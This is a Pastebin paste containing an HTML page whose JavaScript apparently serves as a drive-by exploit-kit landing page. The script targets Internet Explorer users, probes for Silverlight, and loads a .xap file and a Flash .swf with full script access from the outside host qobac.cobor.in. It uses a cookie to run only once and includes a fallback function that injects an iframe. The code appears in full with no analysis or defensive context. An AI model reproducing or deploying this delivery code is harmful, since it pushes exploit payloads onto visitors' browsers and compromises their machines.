Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <script src='//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js'></script>
- </head>
- <body>
- <div id="d1"></div>
- <div id="d2"></div>
- <div id="d3"></div>
- <script id="j1">
- function isSilverlightInstalledIE() {
- var isSilverlightInstalled = false;
- try {
- var slControl = new ActiveXObject('AgControl.AgControl');
- isSilverlightInstalled = true;
- } catch (e) {}
- return isSilverlightInstalled;
- }
- function callback(e) {
- if (e.success) {
- return;
- }
- if (x < 5) {
- x++;
- swfobject.embedSWF(swf, "d1", "20", "10", "8", false, false, {
- allowScriptAccess: "always"
- }, false, callback);
- return;
- }
- }
- function reserve() {
- var i = document.createElement('iframe');
- i.setAttribute('src', bad);
- document.body.appendChild(i);
- }
- function checkIframe() {
- var container = document.getElementById("i");
- if (container !== null) return true;
- return false;
- }
- var x = 0;
- var dir = 'g76df4d';
- var m = Math.random();
- var swf = 'http://qobac.cobor.in/' + dir + '/rtu.swf?' + m;
- var xap = 'http://qobac.cobor.in/' + dir + '/rtp.xap?' + m;
- var DOMReady = function(a, b, c) {
- b = document, c = 'addEventListener';
- b[c] ? b[c]('DOMContentLoaded', a) : window.attachEvent('onload', a);
- };
- DOMReady(function() {
- var check = false;
- if (navigator.userAgent.match(/Trident|MSIE/i) === null) return;
- if (isSilverlightInstalledIE() && document.cookie.indexOf("xap") === -1) {
- var date = new Date(new Date().getTime() + 2 * 24 * 60 * 60);
- document.cookie = "xap=try; path=/; expires=" + date.toUTCString();
- var div = document.createElement('div');
- div.innerHTML = '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" height="300" width="300"><param name="source" value="' + xap + '"><param name="enableHtmlAccess" value="true"></object>';
- document.body.appendChild(div);
- }
- window.setTimeout("check=checkIframe()", 3000);
- if (check !== false) return;
- swfobject.embedSWF(swf, "d1", "20", "10", "8", false, false, {
- allowScriptAccess: "always"
- }, false, callback);
- window.setTimeout("check=checkIframe()", 3000);
- if (check !== false) return;
- });
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement